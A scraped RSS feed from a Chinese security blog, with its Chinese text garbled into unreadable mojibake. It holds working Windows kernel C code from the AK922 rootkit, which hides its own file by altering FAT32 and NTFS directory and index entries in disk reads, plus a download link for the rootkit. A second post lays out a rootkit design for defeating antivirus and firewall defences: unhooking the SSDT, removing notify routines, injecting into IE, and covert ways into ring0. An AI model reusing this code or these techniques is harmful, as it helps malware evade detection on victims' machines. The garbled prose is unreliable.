((PWORKERCTX)Context)->currEProc;<br>    //PMDL mdl;<br>        <br><br>    if(((PWORKERCTX)Context)->UserBuffer)<br>    {<br>        if(eproc != currProc)<br>        {<br><br>            KeAttachProcess(eproc);<br><br>            __try{<br>            <br>                // ProbeForWrite must be running <= APC_LEVEL<br>                ProbeForWrite(((PWORKERCTX)Context)->UserBuffer, ((PWORKERCTX)Context)->Length, 1);<br>                HandleAkDiskHide(((PWORKERCTX)Context)->UserBuffer, ((PWORKERCTX)Context)->Length);<br>            }<br><br>            __except(EXCEPTION_EXECUTE_HANDLER){<br><br>                //DbgPrint("we can't op the buffer now :-(");<br>                KeDetachProcess();    <br>                return;<br>            }<br>            <br>            KeDetachProcess();    <br>            <br>        }else{<br><br>            __try{<br>            <br>                // ProbeForWrite must be running <= APC_LEVEL<br>                ProbeForWrite(((PWORKERCTX)Context)->UserBuffer, ((PWORKERCTX)Context)->Length, 1);<br>                HandleAkDiskHide(((PWORKERCTX)Context)->UserBuffer, ((PWORKERCTX)Context)->Length);<br>            }<br><br>            __except(EXCEPTION_EXECUTE_HANDLER){}<br>        }<br>    <br>    }<br>}<br><br>   鍑嗗宸ヤ綔緇堜簬綆楁槸鍋氬緱宸笉澶氫簡錛屼笅闈㈠氨寮濮嬬湡姝f秱鏀圭鐩樻墖鍖哄唴瀹逛簡銆傝繖閲屽皢娑夊強鍒癋AT32鍜孨TFS紓佺洏鏂囦歡緇撴瀯錛屾垜鍏堟妸瑕佺敤鍒扮殑涓昏緇撴瀯鍒楀嚭鏉ワ紝鍏朵綑鐨勫ぇ瀹跺彲浠ュ弬鑰冦奛TFS Documentation銆嬨?br><br>typedef struct _INDEX_HEADER{<br>    UCHAR            magic[4];<br>    USHORT            UpdateSequenceOffset;<br>    USHORT            SizeInWords;<br>    LARGE_INTEGER    LogFileSeqNumber;<br>    LARGE_INTEGER    VCN;<br>    ULONG            IndexEntryOffset;    // needed!<br>    ULONG            IndexEntrySize;<br>    ULONG            AllocateSize;<br>}INDEX_HEADER, *PINDEX_HEADER;<br><br><br>typedef struct _INDEX_ENTRY{<br>    LARGE_INTEGER        MFTReference;<br>    USHORT            Size;                // needed!<br>    USHORT            FileNameOffset;<br>    USHORT            Flags;<br>    USHORT            Padding;<br>    LARGE_INTEGER        MFTReferParent;<br>    LARGE_INTEGER        CreationTime;<br>    LARGE_INTEGER        ModifyTime;<br>    LARGE_INTEGER        FileRecModifyTime;<br>    LARGE_INTEGER        AccessTime;<br>    LARGE_INTEGER        AllocateSize;<br>    LARGE_INTEGER        RealSize;<br>    LARGE_INTEGER        FileFlags;<br>    UCHAR            FileNameLength;<br>    UCHAR            NameSpace;<br>    WCHAR            FileName[1];<br>}INDEX_ENTRY, *PINDEX_ENTRY;<br><br>   鍦ㄨ鍙栫鐩樻枃浠朵俊鎭椂姣忔閮芥槸浠ヤ竴涓墖鍖哄ぇ灝忥紙512 bytes錛夌殑鏁存暟鍊嶈繘琛岀殑錛屽鏋滀笉浜嗚В鐩稿簲鍗風殑緇勭粐褰㈠紡鍜屾暟鎹粨鏋勶紝閭d箞鎰熻灝辨槸鏁版嵁澶氳岀箒鏉傦紝鎼滅儲鏁堢巼涔熷緢浣庛備絾杈呬互涓婅堪緇撴瀯渚垮彲蹇熷畾浣嶅緟闅愯棌鏂囦歡騫惰繘琛屾秱鏀廣傝繖閲屼笉寰椾笉璇翠竴鍙ワ紝綆楁硶鐨勯珮鏁堟槸寰堥噸瑕佺殑錛屽鏋滈噰鐢ㄦ毚鍔涙悳绱㈢殑鏂瑰紡錛岄偅涔堢郴緇烞SOD鐨勬鐜囦細澶уぇ澧炲姞銆?br>   鍦‵AT32鍗蜂笂錛屽綋AK922鎼滅儲鍒版枃浠禔K922.sys鐨勭洰褰曢」鏃訛紝灝嗗叾0x0鍋忕Щ澶勭殑鏂囦歡鍚嶇殑絎竴涓瓧鑺傜疆涓?0xe5"錛屽嵆鏍囪涓哄垹闄ゃ傝繖鏍峰嵆鍙揪鍒版楠梐rk鐨勭洰鐨勩備絾涓轟簡鏇村姞闅愯斀錛屼笉璁﹚inhex瀵熻鍑烘潵錛屾渶濂芥妸鏂囦歡鍚嶅叏閮ㄦ竻0銆?br>   澶勭悊NTFS鍗風◢寰夯鐑︿簺錛屾枃浠惰褰曞拰绱㈠紩欏歸兘瑕佹姽騫插噣錛屽叿浣撳疄鐜拌浠g爜錛岃繖閲屼笉鍐嶈禈榪般?br><br>VOID HandleAkDiskHide(PVOID UserBuf, ULONG BufLen)<br>{<br>    ULONG i;<br>    BOOLEAN bIsNtfsIndex;<br>    BOOLEAN bIsNtfsFile;<br>    ULONG offset = 0;<br>    ULONG indexSize = 0;<br>    PINDEX_ENTRY currIndxEntry = NULL;<br>    PINDEX_ENTRY preIndxEntry = NULL;<br>    ULONG currPosition;<br><br>    <br>    bIsNtfsFile = (_strnicmp(UserBuf, NtfsFileRecordHeader, 4) == 0);<br>    bIsNtfsIndex = (_strnicmp(UserBuf, NtfsIndexRootHeader, 4) == 0);<br><br>    if(bIsNtfsFile == FALSE && bIsNtfsIndex == FALSE)<br>    {            <br>    <br>        for(i = 0; i < BufLen/0x20; i++)<br>        {<br>            if(!_strnicmp(UserBuf, fileHide, 5) && !_strnicmp((PVOID)((ULONG)UserBuf+0x8), fileExt, 3))<br>            {<br><br>                *(PUCHAR)UserBuf        = 0xe5;<br>                *(PULONG)((ULONG)UserBuf + 0x1)    = 0;<br><br>                break;<br>                    <br>            }<br><br>            UserBuf = (PVOID)((ULONG)UserBuf + 0x20);<br>        <br>        }<br><br>    } else if(bIsNtfsFile) {<br><br>        //DbgPrint("FILE0...");<br><br>        for(i = 0; i < BufLen / FILERECORDSIZE; i++)<br>        {<br>            if(!_wcsnicmp((PWCHAR)((ULONG)UserBuf + 0xf2), hideFile, 9))<br>            {<br>                memset((PVOID)UserBuf, 0, 0x4);<br>                memset((PVOID)((ULONG)UserBuf + 0xf2), 0, 18);<br>                break;<br>            }<br>                <br>            UserBuf = (PVOID)((ULONG)UserBuf + FILERECORDSIZE);<br>                <br>        }<br>            <br>    } else if(bIsNtfsIndex) {<br>                            <br>        //DbgPrint("INDX...");<br>        // Index Entries<br>        <br>        offset = ((PINDEX_HEADER)UserBuf)->IndexEntryOffset + 0x18;<br>        indexSize = BufLen - offset;<br>        currPosition = 0;<br><br>        currIndxEntry = (PINDEX_ENTRY)((ULONG)UserBuf + offset);<br>        //DbgPrint(" -- offset: 0x%x indexSize: 0x%x", offset, indexSize);<br>                <br>        while(currPosition < indexSize && currIndxEntry->Size > 0 && currIndxEntry->FileNameOffset > 0)<br>        {<br>            if(!_wcsnicmp(currIndxEntry->FileName, hideFile, 9))<br>            {<br>                memset((PVOID)currIndxEntry->FileName, 0, 18);<br><br>                if(currPosition == 0)<br>                {<br>                    ((PINDEX_HEADER)UserBuf)->IndexEntryOffset += currIndxEntry->Size;<br>                    break;<br>                }<br><br>                preIndxEntry->Size += currIndxEntry->Size;<br>                <br>                break;<br>            }<br><br>            currPosition += currIndxEntry->Size;<br>            preIndxEntry = currIndxEntry;<br>            currIndxEntry = (PINDEX_ENTRY)((ULONG)currIndxEntry + currIndxEntry->Size);<br>                    <br>        }<br>    }<br>}<br><br>   姘村鉤鏈夐檺錛屾榪庡ぇ瀹朵笌鎴戜氦嫻併?br><br><br>鍙傝冭祫鏂欙細<br><br>[1] - 銆奛TFS Documentation銆?br>[2] - Azy錛屻奍ceSword & Rootkit Unhooker椹卞姩綆鏋愩?br><br>---------<br><br>鍏充簬AK922(AzyKit)錛氭垜鍐欑殑涓涓彧瀹炵幇鏂囦歡闅愯棌鐨凴K錛屽彲浠ypass鏈枃鎻愬埌鐨勬墍鏈塧rk銆?br>Download @ <a target=_blank><u><font color=#0000ff>http://www.wiiupload.net/sf/65b4e75ec4</font></u></a> <img src ="http://www.shnenglu.com/elva/aggbug/34018.html" width = "1" height = "1" /><br><br><div align=right><a style="text-decoration:none;" href="http://www.shnenglu.com/elva/" target="_blank">鍙跺瓙</a> 2007-10-12 11:58 <a href="http://www.shnenglu.com/elva/archive/2007/10/12/34018.html#Feedback" target="_blank" style="text-decoration:none;">鍙戣〃璇勮</a></div>]]></description></item><item><title>瀹炵敤綰у弽涓誨姩闃插盡rootkit璁捐鎬濊礬http://www.shnenglu.com/elva/archive/2007/10/12/34017.html鍙跺瓙鍙跺瓙Fri, 12 Oct 2007 03:57:00 GMThttp://www.shnenglu.com/elva/archive/2007/10/12/34017.htmlhttp://www.shnenglu.com/elva/comments/34017.htmlhttp://www.shnenglu.com/elva/archive/2007/10/12/34017.html#Feedback0http://www.shnenglu.com/elva/comments/commentRss/34017.htmlhttp://www.shnenglu.com/elva/services/trackbacks/34017.html
浣滆咃細鐧借繙鏂?(ID: baiyuanfan, baiyuanfan@163.com, baiyuanfan@hotmail.com)
June 18, 2007

鍏抽敭瀛楋細rootkit錛屽弽涓誨姩闃插盡錛岀綉緇滅洃鎺э紝ring0錛宮cafee8.5i錛孠IS6錛孼oneAlarm Pro錛屽疄鐢ㄧ駭浜у搧嫻嬭瘯
鐩綍錛?br>鍙嶄富鍔ㄩ槻寰ootkit鐨勪駭鐢熻儗鏅強鍏跺繀瑕佹?br>鍙嶇綉緇滆闂富鍔ㄩ槻寰?br>鍙岮PI閽╁瓙榪涚▼琛屼負涓誨姩闃插盡
鍙嶇郴緇烴otify榪涚▼琛屼負涓誨姩闃插盡
緇曡繃鐩戞帶榪涘叆ring0瀹夎椹卞姩
瀹炵敤綰у弽涓誨姩闃插盡rootkit鐨勯氱敤鎬ч棶棰?br>

鍙嶄富鍔ㄩ槻寰ootkit鐨勪駭鐢熻儗鏅強鍏跺繀瑕佹?br>        褰撳墠闅忕潃鏂板瀷鏈ㄩ┈錛岀梾姣掞紝闂磋皪杞歡瀵圭綉緇滃畨鍏ㄧ殑濞佽儊鏃ョ泭鍔犻噸錛屼紶緇熺殑鐗瑰緛鏌ユ潃鍨嬬殑瀹夊叏浜у搧鍜岀畝鍗曠殑灝佸寘榪囨護鍨嬮槻鐏宸蹭笉鑳芥湁鏁堜繚鎶ょ敤鎴鳳紝鍥犳鍚勫ぇ瀹夊叏鍏徃綰風悍鎺ㄥ嚭鑷繁鐨勪富鍔ㄩ槻寰″瀷瀹夊叏浜у搧錛屼緥濡傚崱宸存柉鍩簁is6錛宮cafee8.5i錛孼oneAlarm Pro絳夛紝榪欎簺浜у搧搴斿鏈煡鐨勭梾姣掓湪椹兘鏈夊緢濂界殑鏁堟灉錛岃嫢闈為拡瀵規х殑浣滆繃璁捐鐨勬湪椹拰rootkit錛屾牴鏈棤娉曠┛瓚婂叾楂樼駭鍒槻寰°傚洜姝わ紝鍙嶄富鍔ㄩ槻寰℃妧鏈紝浣滀負鐭涘拰鐩劇殑鍙︿竴鏂癸紝鑷劧琚笚閫忚呬滑鎻愪笂鏃ョ▼錛涚敱浜庝富鍔ㄩ槻寰″畨鍏ㄤ駭鍝佺殑榪呴熸櫘鍙婏紝涓轟簡涓嶄嬌鍚庨棬鏈ㄩ┈琚脊妗嗘姤璀︼紝鍏鋒湁鍙嶄富鍔ㄩ槻寰¤兘鍔涚殑rootkit鎴愪負浜嗕竴縐嶅繀鐒墮夋嫨銆?br>

鍙嶇綉緇滆闂富鍔ㄩ槻寰?br>        鍑犱箮鐜板湪姣忎釜闃茬伀澧欓兘鍏鋒湁搴旂敤紼嬪簭璁塊棶緗戠粶闄愬埗鍔熻兘銆備竴涓湭鐭ョ殑紼嬪簭鍙嶅脊榪炴帴鍒板緗戯紝鎴栬呮槸鍦ㄦ湰鍦扮洃鍚鍙o紝鍩烘湰涓婇兘浼氬紩璧鋒姤璀︺傝屼笖瀵圭郴緇熻繘紼嬬殑琛屼負涔熸湁浜嗘瘮杈冧弗鏍肩殑瀹℃煡錛屽師鍏堢殑娉ㄥ皠浠g爜鍒皐inlogon絳夌郴緇熻繘紼嬶紝鍦ㄥ悜澶栧弽寮硅繛鎺ョ殑鏂規硶錛屽緢澶氫富鍔ㄩ槻寰¤蔣浠墮兘浼氶樆姝簡銆?br>        寰堝闃茬伀澧欑殑搴旂敤紼嬪簭璁塊棶緗戠粶闄愬埗錛岄兘鍙互閫氳繃鎽橀櫎tcpip.sys涓婇潰鐨勮繃婊ら┍鍔紝騫惰繕鍘焧cpip.sys鐨凞ispatch Routines鏉ョ粫榪囥傛嵁縐拌繖鏄洜涓哄湪ndis灞傛鍙栧緱榪涚▼id涓嶆柟渚胯屽鑷寸殑銆備絾鏄鏋滃湪涓涓疄鐢ㄧ駭鐨剅ootkit閲屽簲鐢ㄦ鏂規硶鍒欐槸涓嶆櫤涔嬩婦錛屽洜涓哄瓨鍦ㄩ儴鍒嗛槻鐏錛屽ZoneAlarm錛屽叾ndis榪囨護灞傚繀欏誨拰tdi榪囨護灞傚崗鍚屽伐浣滐紝鎵嶄細鏀捐緗戠粶榪炴帴銆傝嚦浜巒dis灞傛鐨勪腑闂村眰椹卞姩鐨勬憳闄わ紝鍜孨DIS_OPEN_BLOCK鐨勮繕鍘燂紝鍒欐槸涓欏逛笉澶彲鑳藉畬鎴愮殑浠誨姟錛屽洜涓烘棤娉曚粠鍘熷鏂囦歡涓鍙栫殑鏂規硶錛岃幏寰桸DIS_OPEN_BLOCK鐨勫師濮嬪鹼紱鍗充嬌鑳藉鎴愬姛鎭㈠ndis閽╁瓙錛屼篃涓嶈兘淇濊瘉緋葷粺鍙互姝e父榪愯錛屽緢鍙兘浼氬嚭鐜板悇縐嶄笉鏄庣棁鐘躲?br>        鍒扮幇鍦ㄤ負姝紝緇曡繃搴旂敤紼嬪簭璁塊棶緗戠粶闄愬埗鏈濂界殑閫夋嫨錛岃繕鏄偅涓や釜錛氱畝鍗曠殑涓涓紝娉ㄥ皠浠g爜鍒頒竴涓猧e榪涚▼錛岀敤瀹冨弽寮硅繛鎺ュ嚭鏉ワ紝璁塊棶澶栫綉錛涘鏉傜殑閫夋嫨鍒欐槸搴旂敤鍐呮牳椹卞姩錛屽ndis hook/娣誨姞鏂扮殑ndis protocol錛屾潵瀹炵幇绔彛澶嶇敤錛屾垨鑰呬嬌鐢╰di client driver鍙嶅脊榪炴帴銆傚凡緇忔湁寰堝鏈ㄩ┈鍜宺ootkit浣跨敤鍓嶈咃紝鍥犲叾綆鍗曟槗琛岋紝鍦ㄥ疄闄呭紑鍙戜腑宸ョ▼閲忓皬錛屽嚭鐜伴棶棰樼殑鍙兘鎬т篃灝戝緱澶氾紝浜у搧鎴愮啛鐨勬椂闂翠唬浠蜂篃灝忋備絾鏄洰鍓嶅緢澶氱殑涓誨姩闃插盡宸茬粡娉ㄦ剰鍒拌繖涓鐐癸紝騫朵笖鍦ㄧ▼搴忚涓虹洃鎺т腑涓ュ瘑闃茶寖浜嗗叾浠栫▼搴忓ie鐨勬劅鏌撹涓恒?br>
    濡傚浘錛屾兂瑕佷嬌鐢ㄥ兊灝窱E璁塊棶緗戠粶鐨勬湪椹鎷︽埅


鍙岮PI閽╁瓙榪涚▼琛屼負涓誨姩闃插盡
        鎺ヤ笅鏉ユ槸涓誨姩闃插盡緋葷粺鐨勫緢閲嶈鐨勪竴閮ㄥ垎錛氳繘紼嬭涓虹洃鎺с傝閮ㄥ垎涓誨姩闃插盡杞歡涓鑸氳繃涓ょ瑙e喅鏂規鏉ユ墽琛岋紝涓鏄疉PI閽╁瓙錛屼簩鏄痺indows鏀寔鐨刵otify routine銆?br>        澶ч噺鐨勪富鍔ㄩ槻寰″畨鍏ㄨ蔣浠訛紝濡侹IS6錛孼oneAlarm Pro錛屼嬌鐢ˋPI閽╁瓙鏉ョ洃鎺ц繘紼嬬殑鍗遍櫓琛屼負銆傚娉ㄥ皠榪滅▼綰跨▼錛屽惎鍔ㄥ個鍎E錛屽姞杞介┍鍔紝娉ㄥ唽鏈嶅姟錛屼慨鏀規晱鎰熺郴緇熸敞鍐岃〃閿肩瓑銆備絾鏄綔涓轟竴涓猺ootkit錛屽畬鍏ㄧ粫榪囪繖浜涙搷浣滐紝鍩烘湰涓婃槸涓嶅彲鑳界殑錛涗簬鏄憜鏀懼湪闈㈠墠鐨勪換鍔★紝灝辨槸濡備綍鍑昏觸榪欑涓誨姩闃插盡銆?br>        瀵逛簬鐗瑰畾縐嶇被鐨勭洃鎺э紝鎬繪槸鏈夌壒瀹氱殑鏂規硶鍙互緇曡繃銆傛瘮濡傛敞灝勮繙紼嬬嚎紼嬶紝濡傛灉甯哥敤鐨凜reateRemoteThread琚洃鎺т簡錛屽彲浠ュ皾璇曢噰鐢―ebug API錛?SetThreadContext鐨勬柟娉曠粫榪囷紝涔熷彲浠ュ皾璇曢噰鐢╤ook鍏秐tdll!ZwYieldExecution絳夐綣佽皟鐢ㄧ殑鍑芥暟鏉ヨ杞借嚜宸辯殑DLL妯″潡銆?娉ㄥ唽琛ㄧ洃鎺э紝鎴戠殑鏈嬪弸xyzreg鏇劇粡鍐欒繃緋誨垪鏂囩珷錛屾彁鍑轟簡寰堝縐嶆柟娉曪紝鍖呮嫭RegSaveKey, Hive緙栬緫絳夋柟娉曠粫榪囧崱宸存柉鍩虹殑娉ㄥ唽琛ㄧ洃鎺э紝鍏禜ive緙栬緫鐨勬柟娉曠洰鍓嶄粛鏈兘鏈変換浣曚富鍔ㄩ槻寰$郴緇熸嫤鎴?br>        浣嗘槸浠庝竴涓氱敤鍨嬶紝涓哄疄鎴樿璁$殑瀹炵敤鍨媟ootkit鏉ヨ錛岄噰鐢ㄨ繖浜涚壒瀹氱殑鎶鏈茍涓嶆槸涓涓潪甯稿ソ鐨勯夋嫨錛涘洜涓鴻繖浜涙妧鏈彲浠ヤ繚璇佸浠樹竴涓富鍔ㄩ槻寰¤蔣浠訛紝鍗翠笉鑳戒繚璇侀氱敤錛岀敋鑷抽氱敤鎬у緢宸傝屼笖閽堝姣忎竴涓彲鑳借涓誨姩闃插盡鎷︽埅鐨勮涓猴紝閮介噰鐢ㄤ竴濂楃壒瀹氱殑緇曡繃鎶鏈紝浠庡伐紼嬩唬浠蜂笂鏉ヨ錛屽お榪囧法澶э紝寮鍙戣楁椂錛岀瓑鍏舵垚鐔熸洿鏄笉鐭ラ亾瑕佸灝戞椂闂存潵嫻嬭瘯鍜屾洿鏀廣傚洜姝ゆ垜浠渶瑕佺殑涓涓浉瀵規兜鐩栬寖鍥村箍錛岃兘澶熻В鍐崇粷澶у鏁頒富鍔ㄩ槻寰℃妧鏈殑瑙e喅鏂規銆?br>        閽堝API閽╁瓙瀹炵幇鐨勮繘紼嬭涓虹洃鎺э紝涓涓緝濂界殑閫氱敤瑙e喅鏂規灝辨槸鍗歌澆鎵鏈夊畨鍏ㄨ蔣浠舵墍瀹夎鐨凙PI閽╁瓙銆備負鍏煎鎬у拰紼沖畾璧瘋錛屽嚑涔庢墍鏈夌殑瀹夊叏杞歡鍦ㄥ畨瑁匒PI閽╁瓙鏃墮兘浼氶夋嫨hook SSDT琛紝渚嬪KIS6錛孼oneAlarm Pro銆傛垜浠鏋滆兘澶熻繘鍏ing0錛屽氨鍙互浣跨敤涓涓┍鍔ㄧ▼搴忥紝璇誨彇緋葷粺鏂囦歡ntoskrnl.exe/ntkrnlpa.exe/ntkrpamp.exe錛屼粠涓彁鍑烘垜浠墍甯屾湜鐨凷SDT琛ㄧ殑鍘熷鍑芥暟鍦板潃錛屾浛鎹㈣瀹夊叏杞歡hook鐨勫湴鍧錛岀敤姝ゆ柟娉曞彲浠ラ氱敤鎬у緢濂界殑瑙e喅緇濆ぇ澶氭暟鐨凙PI閽╁瓙瀹炵幇鐨勮繘紼嬭涓虹洃鎺с備笉榪囨鏂規硶鏈変竴涓墠鎻愶紝灝辨槸浜嬪厛蹇呴』緇曡繃鐩戞帶榪涘叆ring0銆傚叧浜庡浣曞疄鐜版鍓嶆彁錛岃闃呰絎簲閮ㄥ垎錛?#8220;緇曡繃鐩戞帶榪涘叆ring0瀹夎椹卞姩”銆?br>    
    濡傚浘錛孼oneAlarm Pro鏇存敼浜嗗ぇ閲忕殑SSDT鍑芥暟鍦板潃鏉ョ洃鎺х▼搴忚涓恒?br>


鍙嶇郴緇烴otify榪涚▼琛屼負涓誨姩闃插盡
        閮ㄥ垎涓誨姩闃插盡瀹夊叏杞歡涓嶄粎浠呮槸鐢ˋPI閽╁瓙錛屽悓鏃朵嬌鐢ㄤ簡寰蔣鎻愪緵鐨凬otify Routine錛屾潵鐩戣榪涚▼鐨勮涓恒備嬌鐢ㄨ鎶鏈殑瀹夊叏杞歡涓嶆槸澶錛屼絾鏄篃涓嶈嚦浜庡皯鍒頒竴涓疄鐢ㄧ駭鍒玶ootkit鍙互蹇界暐鐨勭▼搴︺?br>        浠ヤ笅鍑犱釜寰蔣DDK鍑芥暟錛孭sSetCreateProcessNotifyRoutine錛孭sSetCreateThreadNotifyRoutine錛孭sSetLoadImageNotifyRoutine錛岃鐢ㄤ綔鏀寔涓誨姩闃插盡杞歡鐩戞帶鏂拌繘紼嬬殑寤虹珛錛屾柊綰跨▼鐨勫緩绔嬶紝鍜屼竴涓柊鐨勬ā鍧楄鍔犺澆銆傚鐞嗚縐嶇被鍨嬬殑闃插盡涓嶈兘綆鍗曠殑娓呯┖NotifyRoutine灝卞畬浜嬶紝鍥犱負緋葷粺鏈韓錛岃繕鏈変竴浜涚涓夋柟姝e父妯″潡鍜岄┍鍔紝鍙兘娣誨姞鍜屼嬌鐢ㄨ閾捐〃銆?br>        瑙e喅鏂規錛屼竴鏄彲浠ュ厛灝嗕嬌鐢ㄤ簡璇ユ妧鏈殑涓誨姩闃插盡緋葷粺鐨勯┍鍔ㄧ▼搴忔ā鍧楀仛涓涓垪琛ㄥ嚭鏉ワ紝鐒跺悗閬嶅巻榪欎笁鏉¢摼琛紝鎵懼嚭鍦板潃鎸囧悜榪欎簺椹卞姩妯″潡鐨勯」錛屽啀灝嗚繖浜涢」鍒犻櫎鑴遍摼銆備絾鏄繖闇瑕佸澶ч噺涓誨姩闃插盡緋葷粺鐨勭爺絀跺拰嫻嬭瘯錛屽茍涓旈氱敤鍨嬩篃涓嶅ソ銆傜浜岀鏂規硶錛岀敱浜嶯otify Routine鐨勭洃鎺у姏搴﹁榪滃急浜嶢PI閽╁瓙錛屽洜姝ゅ湪綰痳ing3灝嗙▼搴忓仛涓浜涘皬鐨勬敼鍔紝灝卞彲浠ヨ秺榪囪繖縐嶇被鍨嬬殑鐩戞帶銆?br>        鍙﹀榪樻湁鍑犱釜SDK鍑芥暟錛屽彲浠ユ彁渚涘鏂囦歡鍜屾敞鍐岃〃鐨勬洿鏀圭殑notify銆備笉鑳芥帓闄や篃鏈夐儴鍒嗕富鍔ㄩ槻寰¤蔣浠朵嬌鐢ㄤ簡瀹冧滑銆備緥濡傚浗浜х殑瓚呯駭宸¤(AST.exe)錛屼嬌鐢ㄤ簡RegNotifyChangeKeyValue錛屽仛浜嗗娉ㄥ唽琛ㄦ晱鎰熼敭鍊間慨鏀圭殑浜嬪悗璀﹀憡鎻愮ず銆傚鏋滀粎浠呬嬌鐢ㄤ簡API閽╁瓙娓呴櫎鎶鏈紝閭d箞鍦ㄦ鏃跺氨浼氳AST鎶ヨ銆傚拰浠ヤ笂浠嬬粛鐨勪笁涓唴鏍竛otify綾諱技鐨勪篃鏄紝鏈変笉灝戞甯哥殑notify鍦ㄨ浣跨敤錛屼笉鍒嗛潚綰㈢殏鐧界殑鍏ㄩ儴鍗歌澆錛屼細瀵艱嚧緋葷粺寮傚父銆?br>        鍥犳鍙錛孨otify綾葷洃鎺ц櫧鐒朵嬌鐢ㄧ殑涓嶅錛屼絾鏄叾瀵逛粯鐨勯毦搴﹀拰闇瑕佺殑宸ョ▼閲忥紝姣擜PI鐩戞帶榪樿澶с?br>
    濡傚浘錛屽凡緇忓鐞嗕簡API閽╁瓙鐩戞帶鐨剅ootkit浠嶇劧琚玭otify鏂瑰紡鐨凙ST鎶ヨ銆?br>

緇曡繃鐩戞帶榪涘叆ring0瀹夎椹卞姩
        榪欓儴鍒嗘槸閲嶄腑涔嬮噸銆傜敱浜庡嚑涔庢瘡涓富鍔ㄩ槻寰$郴緇熼兘浼氱洃鎺ф湭鐭ラ┍鍔ㄧ殑鍔犺澆鍜岃瘯鍥捐繘鍏ing0鐨勪婦鍔紝 鑰屾垜浠湪絎竴錛岀浜屽拰絎笁閮ㄥ垎緇曡繃涓誨姩闃插盡瑕佸仛鐨勫鐞嗭紝閮藉繀欏婚渶瑕乺ing0鏉冮檺銆傚洜姝ょ洃鎺ц繘鍏ing0錛屾槸涓涓嫭绔嬬殑璇濋錛屼篃鏄垜浠疄鐜板墠涓変釜閮ㄥ垎闇瑕佺殑鏉′歡銆?br>        鐩存帴娣誨姞娉ㄥ唽琛ㄩ」錛孼wLoadDriver瀹夎椹卞姩錛屾槸鍑犱箮瑕佽浠諱綍涓誨姩闃插盡緋葷粺鎶ヨ銆傚繀欏昏閲囩敤涓浜涢殣钄界殑鎴栬呮槸涓轟漢涓嶇煡鐨勬柟娉曘傛葷粨鐩墠宸茬粡鍏竷鍑烘潵鐨勮繘鍏ing0鐨勫姙娉曪紝
鏈変互涓嬪嚑縐嶏細
        鎰熸煋鏂囦歡錛屼緥濡倃in32k.sys錛屾坊鍔犺嚜宸辯殑浠g爜鍒伴噷闈紝鍚姩鐨勬椂鍊欏氨浼氳鎵ц銆傝繖縐嶆柟娉曠殑浼樼偣鏄畝鍗曟槗琛岋紝紼沖畾搴﹀拰鍏煎鎬у緢濂姐備絾鏄渶澶х殑緙虹偣灝辨槸蹇呴』閲嶆柊鍚姩浠ュ悗錛屾墠鑳借繘鍏ing0錛岃繖鏄竴涓駭鍝佺駭鍒殑鍚庨棬鎵涓嶈兘瀹瑰繊鐨勩傝屼笖寰蔣鑷繁鐨勭郴緇熸枃浠朵繚鎶ゅ鏄撶粫榪囷紝mcafee鍜屽崱宸存柉鍩虹殑鏂囦歡鐩戞帶鍙氨涓嶆槸閭d箞瀹規槗浜嗐?br>        鍒╃敤鐗╃悊鍐呭瓨瀵硅薄錛屾潵鍐欏叆鑷繁鐨勪唬鐮佸埌鍐呮牳錛屽茍娣誨姞璋冪敤闂ㄦ潵鎵ц銆傝繖涓槸鏈鏃╄浜烘彁鍑虹殑涓嶇敤椹卞姩榪涘叆ring0鐨勫姙娉曘傚洜涓哄嚭鏉ョ殑鏃墮棿澶暱浜嗭紝鎵浠ユ湁浠ヤ笅涓浜涢棶棰橈細鏇存柊鐨勬搷浣滅郴緇熷唴鏍鎬笉鏀寔錛屽2003SP1錛涘緢澶氱殑涓誨姩闃插盡緋葷粺浼氭嫤鎴紝渚嬪KIS6銆傛墍浠ヨ繖涓姙娉曚篃涓嶇悊鎯熾?br>        鍒╃敤ZwSystemDebugControl銆傝繖涓唬鐮佸湪鍥藉鏈変漢鏀懼嚭鏉ヨ繃錛屽埄鐢ㄥ畠鍐欏唴瀛橈紝鎸傞挬NtVdmControl錛岃繘鍏ing0銆傛娉曠己闄峰湪浜庤佺殑windows2000涓嶈鏀寔錛屾渶鏂扮殑windows2003sp1涓婁篃鍙栨秷浜嗚繖涓嚱鏁扮殑姝よ兘鍔涖備笉榪囧ソ澶勫湪浜庯紝榪欎釜鏂規硶鐢ㄧ殑浜哄皯錛屽熀鏈笂娌℃湁涓誨姩闃插盡浼氭敞鎰忓埌瀹冿紝騫惰繘琛屾嫤鎴?br>        鍒╃敤ZwSetSystemInformation鐨凷ystemLoadAndCallImage鍔熻兘鍙峰姞杞戒竴涓ā鍧楄繘鍏ing0銆傝繖涓柟娉曟彁鍑烘潵姣旇緝涔呬簡錛屼絾鏄洜涓虹敤鐨勪漢灝戯紝浠嶆湭琚富鍔ㄩ槻寰¤蔣浠舵墍閲嶈銆傜敤寰楀皯鐨勫師鍥犳槸錛屽畠涓嶅ソ鐢ㄣ傚畠鍙兘鍔犺澆涓涓櫘閫氱殑妯″潡鍒板唴鏍稿茍涓旇皟鐢紝鍗翠笉鏄姞杞戒竴涓┍鍔紝鍥犳娌℃湁涓涓狣riverObject銆傝繖瀵艱嚧浜嗛潪甯稿鐨勯夯鐑︺傚洜涓鴻鎯充嬌鐢ㄨ繖涓姙娉曪紝蹇呴』鍏堢敤榪欎釜鍔炴硶瀹夎涓涓畝鍗曠殑鍐呮牳妯″潡錛屽啀鐢ㄨ繖涓ā鍧楁坊鍔犺皟鐢ㄩ棬絳夋柟寮忥紝鎵ц浠g爜娓呴櫎涓誨姩闃插盡鐨勭洃瑙嗛┍鍔ㄥ畨瑁呯殑閽╁瓙錛屽畨瑁呬竴涓甯哥殑椹卞姩錛屾墠鑳芥渶緇堝畬鎴愪換鍔°傝屼笖榪欎釜鏂規硶浼間箮瀵箇indows2003sp1浠ヤ笂鐨勭郴緇熶篃鏃犳晥銆?br>        